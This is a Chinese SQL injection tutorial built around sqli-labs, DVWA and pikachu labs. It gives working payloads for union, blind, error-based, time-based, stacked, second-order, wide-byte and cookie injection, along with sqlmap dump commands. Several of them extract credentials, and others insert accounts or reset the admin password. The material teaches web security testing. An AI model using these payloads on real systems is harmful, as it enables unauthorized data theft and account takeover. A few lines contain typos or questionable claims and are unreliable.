SQL注入精讲
SQL 注入
SQL注入原理
理解SQL注入
SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的sql服务器加以解析和执行。
由于SQL语句本身的多样性,以及可用于构造SQL语句的方法很多,因此凡是构造SQL语句的步骤均存在被攻击的潜在风险。
SQL注入的方式主要是直接将代码插入参数中,这些参数会被置入SQL命令中加以执行。
间接的攻击方式是将恶意代码插入字符串中,之后将这些字符串保存到数据库的数据表中或将其当成元数据。
当将存储的字符串置入动态SQL命令中时,恶意代码就将被执行。
如果web应用未对动态构造的SQL语句使用的参数进行正确性审查(即便使用了参数化技术)
攻击者就很可能会修改后台SQL语句的构造
如果攻击者能够修改SQL语句,那么该语句将与应用的用户具有相同的权限。
当使用SQL服务器执行与操作系统交互命令时,该进程将与执行命令的组件(如数据库服务器、应用服务器或web服务器)拥有相同的权限,这种权限的级别通常很高。
如果攻击者执行以上恶意代码的插入操作成功,那么用户数据库服务器或者整个应用会遭到破坏,甚至被控制。
SQL注入的产生过程及常见原因
1 | 1.产生过程 |
数据库基础
数据在数据库中是按照表单的方式存储的
在phpstudy里面
可以很方便的打开mysql终端
使用 show databases;
命令可以查看所有的数据库名
我的存在数据库:
1 | information_schema |
其中:information_schema 数据库是 MySQL 自带的
在 MySQL 中,把 information_schema 看作是一个数据库,确切说是信息数据库
其中保存着关于 MySQL 服务器所维护的所有其他数据库的信息
如数据库名,数据库的表,表栏的数据类型与访问权限等
数据库里面几张重要的表的状态我放在这,如果后面涉及这几张表不太明白可以回来看一下
使用use yichen;
用来选择想要使用的数据库
使用 show tables;
来显示数据库中的所有数据表
使用 select * from yichen;
来查看数据表”yichen”中所有的数据信息
数据表:yichen中一共有三列数据,列名分别是:id,name,age
如果想查看yichen表中writeup的年龄应该怎样那?
有两种简单的方法:
1 | select age from yichen where name='writeup'; |
这里需要注意的是name字段属于字符串,所以需要用单引号引起来
那其实当我们访问一个网页上的时候比如sqli-labs的第一关:
?id=1实际上就是去数据库里面查询id=1的时候的 name 和 password列的值
补充一些关于information_schema数据库的数据表的信息:
SCHEMATA 表:
提供了当前 mysql 中所有数据库的信息(主要用来查询数据库名(schema_name))
TABLES 表:提供了关于数据库中的表的信息(包括视图)
在 phpmyadmin 里可以看的清楚点(主要用来查询数据表名 (table_name))
COLUMNS 表:提供了表中的列信息(主要用来查询字段名(column_name))
基本原理
前面提到访问?id=1的时候就是去数据库里查询id=1的字段的值,
那么
当我不去正常访问
1 | id=1 |
而是访问一个
1 | id=1' |
会发生什么?报错了!
看报错的回显发现
1 | 您的SQL语法有误; |
仔细看一下,’’1’’ LIMIT 0,1’,会发现单引号是这么配对的
也就是说我们输入的 1’ 去查询的时候出问题了,我们可以查看一下less-1的源代码,找到查询语句
1 |
|
我们只要关心这一句
1 | SELECT * FROM users WHERE id='$id' LIMIT 0,1 |
把之前传入的 1'
带入 $id
看看结果
1 | SELECT * FROM users WHERE id='1'' LIMIT 0,1 |
会发现传入的单引号把原本已经存在的那一个左单引号闭合掉了
那多出来的那一个右单引号就出了问题了
导致后面的语句被识别为要运行的代码
使用 and 1=1—+
mysql中的注释有两种,一个是 --空格
,一个是 #
'order by 4--+
猜列数
order by 是用来排序的,后面可以跟着列数,比如 order by 1 是按照第一列来排序,当使用大于数据表有的列数的时候就肯定会报错了,这样就可以用来判断有几列
-1'union select 1,2,3--+
联合查询,一般用来检查什么地方可以回显
显示出 2,3,说明这里 2 与 3 的位置会被打印出来
我们就可以把想要查询的放在这里两个位置让他显示给我们
SQL 注入分类
SQL 注入分类:
按 SQLMap 中的分类来看,SQL 注入类型有以下 5 种:
- [ ] UNION query SQL injection (可联合查询注入)
- [ ] Stacked queries SQL injection (可多语句查询注入)堆叠查询
- [ ] Boolean-based blind SQL injection (布尔型注入)
- [ ] Error-based SQL injection (报错型注入)
- [ ] Time-based blind SQL injection (基于时间延迟注入)
接受请求类型区:
1 | 1.GET 注入 |
注入数据类型的区分:
1 | 1.int整型 |
常规利用思路
- 寻找注入点,可以通过 web 扫描工具实现
- 通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。
- 猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)还可以获取数据库的 root 账号 密码—思路
- 可以通过获得的用户信息,寻找后台登录。
- 利用后台或了解的进一步信息。
手注常规思路
- 判断是否存在注入,注入是字符型还是数字型
- 猜解 SQL 查询语句中的字段数 order by N
- 确定显示的字段顺序
- 获取当前数据库
- 获取数据库中的表
- 获取表中的字段名
- 查询到账户的数据
详细注入过程
SQL 注入漏洞的产生需要满足以下两个条件
1 | 参数用户可控:从前端传给后端的参数内容是用户可以控制的 |
判断注入点
猜列数
1 | ' order by 3 --+ |
猜数据库
1 | ' union select 1,2 --+ 查看回显点 |
1 | ' union select user(),database(),version() --+ 查看其他数据 |
1 | union 查询结合了两个 select 查询结果 |
猜表名
1 | ' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() --+ |
group_concat 分组查询
备注:GROUP_CONCAT函数将分组中的字符串与各种选项进行连接。
这里介绍几个字符连接函数:
1 | 1. concat(str1,str2,...)——没有分隔符地连接字符串 |
因为我们查询到的数据不是只有一个,所以需要用连接函数把他们连接成一串才能显示出来
猜列名
1 | ' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users' --+ |
猜用户数据
列举出几种 payload:
1 | ' union select 1,group_concat(username,password) from users --+ |
1 | ' union select 1,(select group_concat(username,password) from users) --+ |
1 | ' union select group_concat(username),group_concat(password) from users --+ |
猜 root 用户
1 | ' union select 1,group_concat(user,password) from mysql.user --+ |
得到 root 用户信息:
1 | root*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
拓展limit
1 | limit m,n 从m行开始,到m+n行结束 |
总结
根据注入位置数据类型将sql注入分类
利用order判断字段数
1 | ' order by 3 --+ |
利用 union select 联合查询,将id值设置成不成立,即可探测到可利用的字段数
1 | ’ union select 1,2,3 --+ |
利用函数database(),user(),version()可以得到所探测数据库的数据库名
1 | ' union select 1,database(),version() --+ |
利用 union select 联合查询,获取表名
1 | ' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ |
利用 union select 联合查询,获取字段名
1 | ' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ |
利用 union select 联合查询,获取字段值
1 | ' union select 1,group_concat(username),group_concat(password) from users--+ |
union 联合注入原理
联合查询注入是联合两个表进行注入攻击
使用关键词 union select 对两个表进行联合查询。
两个表的字段要数要相同,不然会出现报错。
member表有7个字段
users 有3个字段
如果直接联合两个表 因为列数跟第一个表不一样 会导致出错
整合的联合查询方法
1 | SELECT * FROM member WHERE id=1 union select 1,2,3,4,5,6,7 from users |
member有个7个字段 users 也需要有三个与之匹配
这些数字可以替换成字段的名称或者函数。
替换成函数
1 | SELECT * FROM member WHERE id=1 union select 1,2,3,4,database(),user(),version() from users |
字段替换成字段
1 | SELECT * FROM member WHERE id=1 union select 1,2,3,level,id,username,password from users |
如果没有加上 limit 限定条数会把所有内容查询出来,所以都会加上 limit 限定
1 | SELECT * FROM member WHERE id=1 union select 1,2,3,level,id,username,password from users limit 0,1 |
但是只会显示第一条,因为
1 | SELECT * FROM member WHERE id=1 |
这个语句是存在记录的
如果想要 admin的内容可以把1 换成其他不存在的记录,
因为默认负数就表示不存在的
所以可以在数字前加上-1 即可显示第二个表的内容。
1 | SELECT * FROM member WHERE id=-1 union select 1,2,3,level,id,username,password from users limit 1,1 |
UNION联合注入
源码:
1 | $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; |
判断 SQL 注入
1 | $query = "SELECT first_name, last_name FROM |
1 | $query = "SELECT first_name, last_name FROM users WHERE |
输入1’and ‘1’=’1页面返回用户信息和输入 1’and ‘1’=’2 页面返回不一样的信息
基本可以确定存在 SQL 注入漏洞
判断字段数
使用语句 order by 确定当前表的字符数
order by 1 如果页面返回正常 字段数不少于 1,order by 2 不少于 2,
一直如此类推直到页面出错。正确的字段数是出错数字减少 1
公式 order by n-1
1 | 1' order by 1--+ 正常 |
最终确定字段数为 2
联合查询注入获取敏感信息
联合查询 输入 数字 查询页面是否有数字输出。输出的地方就是显示的内容但是被数字替换了。
-1 是让前面的表查询的内容不存在。所以就会显示显示数字。
1 | -1' union select 1,2 --+ |
把数据替换成 mysql 的函数例如 md5(1) 这会在页面返回 1 的 md5 加密信息。
1 | -1' union select 1,md5(1) --+ |
使用这个函数一般是白帽子扫描器的匹配存在漏洞的特征码。
接着获取 mysql 版本 当前用户权限 当前数据库
version() mysql 版本
database() 当前数据库
user() 当前用户名
group_concat()分组打印字符串
把函数直接替换数字查看页面
1 | -1' union select 1,version() --+ |
1 | -1' union select 1,group_concat(user(),0x3A,database(),version()) --+ |
如果你想一次打印多个敏感信息可以使用 group_concat()把查询的函数写人 里 0x3A 是:这个符号的十六进制 在 mysql 里会自动转成符号:
知道当前库名是 dvwa
联合查询注入通过 information_schema 获取表
在黑盒的情况下是不知道当前库有什么表的
可以通过 mysql 自带的information_schema 查询当前库的表。
查询当前库的表 limit 1 相当于 limit 1,1 表示显示第一个 1 改成 2 就是第二个
如此类推
第一个表
1 | -1' union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1) --+ |
第二个表
1 | -1' union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,2) --+ |
联合查询注入通过 information_schema 获取字段
同样的查询字段也可以通过内置库 information_schema 里的 COLUMNS
这个表记录所有表的字段。通过 COLUMNS 查询 users 表的字段。
获取 users 表第一个字段名
1 | -1' union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 1) --+ |
获取 users 表第二个字段名
1 | -1' union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 2,1) --+ |
获取 users 表第三个字段名
1 | -1' union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 3,1) --+ |
通过联合查询表里的内容
通过以上的黑盒查询 获取库名、表名、字段、那么就可以查询某个表的内容。
1 | -1' union select 1,(select group_concat(user,0x3a,password) from users limit 1) --+ |
布尔型盲注入
这种在页面中不会显示数据库信息,一般情况下只会显示对与错的内容。
接收 id 的值,直接带入查询
如果存在即返回 users is exists in the database
否则显示 users id is missing 像这种只有正确与错误页面。
页面不会显示数据库里任何内容,如果存在注入,成为盲注入。
盲注入的方式有两种:一种是布尔型盲注入,另外一种是延时注入。
判断盲注入
输入 SQL 注入检测语句 判断页面是否不一样
如果不一样大概会存在 SQL 注入漏洞
1 | 1'and '1'='1 |
1 | 1'and '1'='2 |
如果输入检测语句页面没有任何改变可以使用延时语句进行检测
1 | 1'and sleep(10)--+ |
函数 sleep() 在 mysql 是延时返回的意思 以秒为单位 sleep(10) 即延时 10 秒执行。
布尔型注入攻击
布尔型注入攻击,因为页面不会返回任何数据库内容
所以不能使用联合查询将敏感信息显示在页面
但是可以通过构造 SQL 语句,获取数据。
布尔型盲注入用到得 SQL 语句
1 | select if(1=1,1,0) |
if()函数在 mysql 是判断,第一个参数表达式,如果条件成立,会显示 1,否则显示 0
1=1 表达式可以换成构造的 SQL 攻击语句
1 | 1' and if(1=1,1,0) --+ |
页面返回正常
这个语句实际上是 1’and 1,真 and 真 结果为真
1 是存在记录的。所以返回正确页面。
1 | 1' and if(1=2,1,0) --+ |
页面返回错误,这个语句就是 1’and 0 ,真 and 假 结果为假
整个 SQL ID 的值也是 0 所以没有记录
返回错误页面。
布尔型盲注入获取数据库敏感信息
在黑盒的环境下,通过构造 SQL 注入语句,根据页面的特征确定获取敏感信息。
布尔型盲注入用到的函数
1 | SUBSTRING()字符串截取 |
第一个参数是一个字符串,第二个参数是从哪里开始截取 第三个是要截取的长度。
1 | select database()查询当前库 |
通过 substring 截取截取长度
举例
1 | select substring(‘ename’,2,2) |
1 | select substring(database(),1,1) |
接着再用 if 函数进行构造
1 | select if(substring(database(),1,1)='r',1,0) |
判断数据库第一个字是不是字符 r,如果是返回 1 否则返回 0 。
接着判断第二个字符:
将 substring 第二个参数写成 2 因为要截取第二个字符
1 | select if(sunstring(database(),2,1)='o',1,0) |
第二个字符为 o。如此类推。再后拼
接字符就是完整的库名。
在黑盒模式下布尔型注入
1 | 在上面详细了说了布尔型盲注入的原理,在黑盒的模式下进行测试。 |
布尔型盲注入查询长度
要查询当前库名,首先确定要查询数据库的长度,再通过截取字符进行对比。
1 | 1' and if(length(database())=4,1,0) --+ |
判断库名的长度为 4,截取第一个字符再进行判断
1 | 0 |
每次都要与这些字符进行判断。最后得到 r是数据库名的第一个字符
1 | 1' and if(substring(database(),1,1)='r',1,0) --+ |
1 | 1' and if(substring(database(),2,1)='o',1,0) --+ |
1 | 1' and if(substring(database(),3,1)='o',1,0) --+ |
1 | 1' and if(substring(database(),4,1)='o',1,0) --+ |
如果数据库名很长呢?我们不知道怎么办
burpsuite爆破库名
拼接字符得到 root 库名
得到库名接着获取表名
原理
1 | select if(substring((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1),1,1)='g',1,0) |
payload:
1 | 1' and if(substring((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1),1,1)='g',1,0) --+ |
1 | 1' and if(substring((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,2),1,1)='u',1,0) --+ |
在burpsuite中设置三个变量
limit 0,1 将0设置递归增加0-10
if(ss,1,1) 将1设置递归增加至40
字符a-z
获取字段名
在用 burpsuite 抓包修改变量
1 | 1' and if(substring((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 0,1),1,1)='u',1,0) --+ |
当前库的表的第一个列字符是否等于 u
如果等于 u 返回正则页面 否则返回错误页面。
1 | select * from users where user_id=1 and if(substring((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' and TABLE_SCHEMA=database() limit 0,1),1,1)='u',1,0); |
半自动注入 跑就ok
首先跑查询账号和密码的长度
1 | 1' and if((SELECT LENGTH(CONCAT(user,0x3a,PASSWORD)) from users limit 1)=38,1,0) --+ |
然后使用 burpsuie 获取账号和密码
获取数据
1 | 1' and if(substring((select CONCAT(user,0x3a,PASSWORD) from users limit 1),1,1)='a',1,0)--+ |
burpsuite 抓包修改值 提交测试。
最后整理结果得出
1 | admin:5f4dcc3b5aa765d61d8327deb882cf99 |
报错型注入
数据库显错是指,数据库在执行时,遇到语法不对,会显示报错信息,例如语法错语句
1 | select'11064 - You have an error in your SQL syntax; check the manual that corresponds toyour MySQL server version for the right syntax to use near ''' at line 1 |
程序开发期间需要告诉使用者某些报错信息 方便管理员进行调试,
定位文件错误
特别 php 在执行 SQL 语句时一般都会采用异常处理函数,捕获错误信息。
在 php 中 使用 mysql_error()函数。
如果 SQL 注入存在时,会有报错信息返回,可以采用报错注入。
代码中分析
打开 dvwa 分析语句
如果语法错误,msqli_error()、mysqli_connect_error()会将语法错误信息
显示到页面上
SQL 报错注入攻击
判断是否存在报错注入
输入单引号 如果报错有可能存在报错注入,
如果拼接SQL 语句带入到 mysql 执行即存在报错注入。
输入
1 | 1'and info() --+ |
就可以显示当前库
原理是
1 | SELECT * FROM users WHERE user_id = '1' and info() |
会报错显示当前库不存在这个函数
这样当前库名就显示在页面上。
报错注入获取数据库敏感信息
输入构造的攻击语句 页面返回数据库信息
1 | 1'and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) --+ |
把 user()替换成其他的函数 version() 、database() 就能得到 mysql 得版本信息和当前库名。
但是采用 updatexml 报错函数 只能显示 32 长度的内容
如果获取的内容超过 32字符就要采用字符串截取方法。
来每次获取 32 个字符串的长度
除了 updatexml 函数支持报错注入外,mysql 还有很多函数支持报错。
1.extractvalue()
1 | 1' and (extractvalue(1,concat(0x7e,(select user()),0x7e))) --+ |
2.exp()
1 | 1' and exp(~(select * from(select user())a)); |
等等
其他函数介绍
1 | extractvalue(1,concat(0x7e,(select @@version),0x7e)) |
mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误
1 | updatexml(1,concat(0x7e,(select @@version),0x7e),1) |
mysql对xml数据进行查询和修改的 xpath 函数,xpath 语法错误
上面两个需要传入xpath格式的字符串,但是传入的却不符合,但可以执行,所以报错
1 | select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x; |
mysql 重复特性,此处重复了 version,所以报错,有些地方不管用
如果等号“=”被禁用了,可以使用like或<>替换,<>意思是不等于,在前面加上!意思就是等于,
如:
1 | select 1,group_concat(tablem_name) where !(table_schema <> security) |
在黑盒模式下的报错注入
在黑盒模式下的报错注入 首先获取当前库,通过库获取表名
接着通过表名获取字段,最后获取字段内容。
报错注入得到库名
注入以后语句均可获取库名
1 | 1' and info() --+ |
1 | 1' and (updatexml(1,concat(0x7e,(select database()),0x7e),1)) --+ |
得到库名 root
报错注入获取 mysql 账号和密码
获取账号和密码需要 root 用户才有足够大的权限
1 | select authentication_string from mysql.user limit 1; |
1 | select (updatexml(1,concat(0x7e,(select (select authentication_string from mysql.user limit 1 )),0x7e),1)) |
1 | select(updatexml(1,concat(0x7e,(select (substring((select authentication_string from mysql.user limit 1),32,40))),0x7e),1)) |
报错注入获取表名
通过 mysql 内置库 information_schema 通过构造 SQL 语句查询获取表名
采用 floor函数 报错
并不会存在长度问题
查询第一个表名
1 | 1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+ |
将 LIMIT 0,1 改成 1,1 表是第二个表名
1 | 1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ |
报错注入获取字段
在获取表名之后就可以获取字段名,如获取 usrs 的字段名
获取第一个字段名
1 | 1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='users' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+ |
获取第二个字段名
1 | 1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='users' LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+ |
可以使用 burpsuite 批量对字段批量获取,首先抓包,修改变量,设置匹配规则。
报错注入获取信息
现在已经获取 users 表的名字和它的字段名,接下来可以对内容进行查询。
1 | 1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,user,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+ |
如果存在多个用户 把 limit 0,1 改成 1,1 如此类推知道获取最后一个用户为止
使用 busrpsuite 对用户获取设置数量 再设置过滤网页响应内容。
获取库里 users 表所有用户的账号和密码。
updataxml函数 限制字数
floor函数 不限制字数
时间延时型注入
时间注入又名延时注入,属于盲注入的一种
通常是某个注入点无法通过布尔型注入获取数据而采用一种突破注入的技巧
在 mysql 里 函数 sleep() 是延时的意思,sleep(10)就是 数据库延时 10 秒后返回内容。
判断注入可以使用
1 | select * from user where id=1 and sleep(10) |
数据库延时 10 秒返回值 网页响应时间至少要 10 秒 根据这个原理来判断存在 SQL 时间注入。
mysql 延时注入用到的函数 sleep() 、if()、substring()
1 | select if(2>1,sleep(10),0) |
2>1 这个部分就是你注入要构造的 SQL 语句。
1 | select if(length(database())>1,sleep(5),0) |
这个就是查询当前库名长度大于 1 就会延时 5 秒执行。
1 | -1' or if(length(database())>1,sleep(5),0) --+ |
可以看到网页是大于五秒返回。根据这个原理 n>1 n不延时就能确定当前数据库的长度了。
具体意思
若网站执行了sql后,不管是否出错,都返回正常页面(不回显信息)。那么我们就不能通过返回的页面来指挥注入了。
此时就要用基于时间延迟的注入,使用sleep()函数来控制sql执行的时间。
从而判断我们的语句是否执行正确。
1 | select * from test where id = 1 and if (substring(version(),1,1)=5,1,sleep(5)) --+ |
这条语句执行时,如果mysql版本不是5,则延时5秒,根据页面返回时长来判断数据库版本。
利用场景
时间注入是盲注入的一种,利用的场景是当目标无法使用布尔盲注获得数据时,就可以使用这种基于时间延迟的注入
利用语法:
1 | select if(length(database())>1,sleep(5),0 ) |
这里的意思是数据库名的长度如果大于1就延时5秒返回结果
sqlmap利用
前置知识
1 | -u 表示检测的 url |
参数 —technique 用于指定检测注入时所用技术。
默认情况下 Sqlmap 会使用自己支持的全部技术进行检测。
此参数后跟表示检测技术的大写字母,其值为 B、E、U、S、T 或Q
含义如下:
1 | B:Boolean-based blind(布尔型注入) |
可以用 “—technique ES” 来指定使用两种检测技术。”
—technique=BEUSTQ” 与默认情况等效。
1 | sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --technique=B --banner |
sqlmap 设置时间盲注延迟时间:
用 --time-sec 3
参数设置基于时间延迟注入中延时时长,默认为 5 秒
检测注入
1 | sqlmap -u "http://192.168.31.231/pikachu/vul/sqli/sqli_str.php?name=vince&submit=1" -p name --technique=T -v 1 --dbms mysql |
列出库名
1 | sqlmap -u "http://192.168.31.231/pikachu/vul/sqli/sqli_str.php?name=vince&submit=1" -p name --technique=T -v 1 --dbms mysql --current-user --current-db --threads 10 --batch |
列出表名
1 | sqlmap -u "http://192.168.31.231/pikachu/vul/sqli/sqli_str.php?name=vince&submit=1" -p name --technique=T -v 1 --dbms mysql --tables -D pikachu --batch |
列出字段
1 | sqlmap -u "http://192.168.31.231/pikachu/vul/sqli/sqli_str.php?name=vince&submit=1" -p name --technique=T -v 1 --dbms mysql --columns -T users -D pikachu --batch |
列出数据
1 | sqlmap -u "http://192.168.31.231/pikachu/vul/sqli/sqli_str.php?name=vince&submit=1" -p name --technique=T --dump -v 1 --dbms mysql -C "id,username,password" -T users -D pikachu --threads 10 --batch |
堆叠查询型注入
堆叠查询:堆叠查询可以执行多条 SQL 语句,语句之间以分号(;)隔开
而堆叠查询注入攻击就是利用此特点,在第二条语句中构造要执行攻击的语句。
在SQL中,分号(;)是用来表示一条sql语句的结束。
在 ; 结束一个sql语句后继续构造下一条语句,会一起执行
在 mysql 里有以下函数执行
1 | mysqli_multi_query |
函数可以执行一个或多个针对数据库的查询。多个查询用分号进行分隔。
但是堆叠查询只能返回第一条查询信息,不返回后面的信息。
1 | select version();select database() |
堆叠注入的危害是很大的 可以任意使用增删改查的语句,
例如删除数据库 修改数据库,添加数据库用户。
1 | 备注:堆叠注入的可以运用于创建用户由于我们使用网站用户进行注入不能查看到数据库的密码但是我们可以创建用户来登录迂回的注入数据库 |
代码分析
靶场启动
在堆叠注入页面中,程序获取 get 参数的 id ,使用 mysqli 的方式进行数据查询,
在执行语句时候使用了 mysqli_multi_query 函数处理 sql 语句,导致存在堆叠注入。
1 | <?php |
是否存在注入
1 | id=1' and 1=2 --+ |
1 | id=1' and 1=1 --+ |
1 | ?id=1' order by 3 %23 |
1 | -1' order by 3 --+ |
获取库名
1 | -1' union select 1,2,group_concat(user(),0x3A,database(),version()) --+ |
接着使用使用堆叠语法进行检测
获取表名
1 | -1' union select 1,2,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1) --+ |
获取字段
把库里所有的表获取出来,再获取字段
1 | -1' union select 1,2,(select group_concat(column_name) from information_schema.columns where TABLE_NAME='users' limit 0,1) --+ |
插入普通账号
知道表的列的情况下使用 insert into 插入语句进行增加账号。
如果是管理表就直接添加管理员账号即可登录后台。
1 | -1';insert into users(id,username,password)values(66,'蔡徐坤','小黑子树脂666') --+ |
访问 id=66即可访问到刚刚添加的账号
插入mysql管理员账号
1 | -1';insert into users(id,username,password)values(6666,(select authentication_string from mysql.user limit 1 ),'食不食油饼') --+ |
二次注入
二次注入是一种在Web应用程序中广泛存在的安全漏洞形式。
相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。
二次注入原理
在第一次进行数据库插入数据的时候
仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 函数对其中的特殊字符进行了转义’
但是addslashes有一个特点就是虽然参数在过滤后会添加 “\” 进行转义‘ \’
但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。
在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据
没有进行进一步的检验和处理,这样就会造成SQL的二次注入
比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中
然后在下一次使用中在拼凑的过程中,就形成了二次注入。
1 | 开了gpc add转义函数 |
代码分析
mysql_escape_string 函数会将特殊字符进行过滤 如’ 经过转义就成了\\’ 然后用insert into 存入在数据库中。
在 login.php 查看源码
登录获取用 mysql_escape_string 对输入的参数进行转义
转义之后在数据库中查找指定的账号和密码 再传入到 session 里。
在看 pass_change.php 源码
$_SESSION[‘username’] 复制给$username 无任何过滤再带入 UPDATE 语句中造成注入。
整个流程就是注册脏数据用户,再去更改密码时会触发注入。
触发注入呢我们就可以更改原有用户的密码
可以看到二次注入比较隐蔽。通常发生在更改,需要二次带入数据时提交的功能里。
二次注入测试
先确定测试的网站是否进行过滤,一般情况下网站都会对输入的参数进行过滤,
然后寻找可能会带入恶意数据二次使用的地方。
例如用户注册->修改密码->邮箱注册->修改密码-> 文章添加->文章编辑
找一切存在二次使用的功能点。
二次注入测试 SQL 注入,二次注入多数是字符型注入,所以要注意闭合问题。
现在注册用户 a’ 再分别注册用户
1 | a' and 1=1 # |
1 | a' and 1=2 # |
来可能触发的地方
二次注入多用于修改其他账号的密码 例如 admin 的密码。
注册用户 admin’ # 登录修改密码 就能修改 admin 的密码
1 | $sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' "; |
闭合 注释
宽字节注入
常见几个url转码
空格 %20
‘ %27
# %23
/ %2f
%09 TAB 键(水平)
%0a 新建一行
%0b TAB 键(垂直)
%0c 新的一页
%0d return 功能
%a0 空格
php函数addslashes() gpc
作用:使用反斜线引用字符串
对以下生效生效:
单引号:’ /’
反斜线:/ //
双引号:” /“
空值:NULL /NULL
它会在这些之前加上反斜线,这样单引号就是字符串里面的一个,而没有单引号在代码中的作用
如何单引号逃逸?
- 在反斜线之前再加一个反斜线,这样就把反斜线给转义了
- 把反斜线弄没(即宽字节注入)
宽字节手工注入
宽字节注入,在 SQL 进行防注入的时候,一般会开启 gpc,过滤特殊字符。
一般情况下开启 gpc 是可以防御很多字符串型的注入,但是如果数据库编码不对,也可以导致 SQL 防注入绕过,达到注入的目的。
如果数据库设置宽字节字符集 gbk 会导致宽字节注入,从而逃逸 gpc
简单理解:数据库编码与 PHP 编码设置为不同的两个编码那么就有可能产生宽字节注入
深入讲解:要有宽字节注入漏洞,首先要满足数据库后端使用双/多字节解析 SQL语句
其次还要保证在该种字符集范围中包含低字节位是 0x5C(01011100) 的字符
初步的测试结果 Big5 和 GBK 字符集都是有的, UTF-8 和 GB2312 没有这种字符(也就不存在宽字节注入)
gpc 绕过过程
1 | %df'===(addslashes函数)===>%df%5c%27===(数据库 GBK编码)===>運' |
原理
在url编码之后,如果%后面的两个字符的值(十六进制形式)超过了128(ascii码最大表示)
会默认为GBK形式,而Mysql在进行编码是认为GBK形式两个字符才算一个汉字
例子
单引号被反斜线转义:
1 | ' --> \' --> %5C%27 |
当在单引号之前加上%aa时
1 | %aa' --> %aa\' --> %aa%5C%27 '大'' |
会认为%aa%5C是一对达到单引号的逃狱
源代码分析
从源代码分析,存在漏洞的代码 首先 check_addlashes 是将特殊字符进行过滤
将’ 变成\\’ mysql_query 设置数据库的编码为 gbk 将 id 参数传入到 SQL 中带入查询
传入%df%5c%27 da’ 即可逃逸 gpc,故存在宽字节注入。
黑盒环境下的宽字节攻击
宽字节检测较为简单 输入%df%27 检测即可或者使用配合 and 1=1 检测即可
1 | -1%df%27%20and%201=1 --+ |
页面是否存在乱码
1 | -1%df%27%20or%20sleep(10)--+ |
页面是否存在延时
均可以测试存在宽字节注入
1 | -1%df%27%20union%20select%201,version(),database()--+ |
1 | '1'\' and 1=2 -- |
1 | union select 1,(select group_concat(column_name) from information_schema.columns where table_name =0x7573657273 ) --+ |
COOKIE注入
COOKIE 注入与 GET、POST 注入区别不大,只是传递的方式不一样。
GET 在url 传递参数、POST 在 POST 正文传递参数和值,COOKIE 在 cookie 头传值。
1 | <?php |
get 在 url 拦截 即使 提交的方法是 post 只要在 url 拦上都可以传递 get
post 在正文里 提交的方法必须存在 post
cookie 有没有 post 都可以
代码分析
在Less20中判断是否提交submit 如果存在
1 | if(!isset($_POST['submit'])) |
获取值
保存到$cookee 中 再拼接到 sql 带入查询。造成注入。
注入攻击
主要是看看程序员有没有在cookie中做了一些过滤,我们有没有可趁之机。
cookie 功能多数用于商城购物车,或者用户登录验证,可以对这些功能模块进行测试
抓取 cookie 包进行安全测试
用cookie提交攻击语句可以看是否存在注入
使用 buspsuite 抓包 改包提交
输入
1 | Cookie: ' order by 4--+ |
1 | uname=admin' and 1=1 --+ |
Base64 编码注入
base64 一般用于数据编码进行传输,例如邮件,也用于图片加密存储在网页中。
数据编码的好处是,防止数据丢失,也有不少网站使用 base64 进行数据传输,
如搜索栏 或者 id 接收参数 有可能使用 base64 处理传递的参数。
在 php 中 base64_encode()函数对字符串进行 base64 编码,既然可以编码也可以进行解码
base64_decode()这个函数对 base64 进行解码。
编码解码流程
1 | 1 ->base64 编码->MQ==->base64 解密->1 |
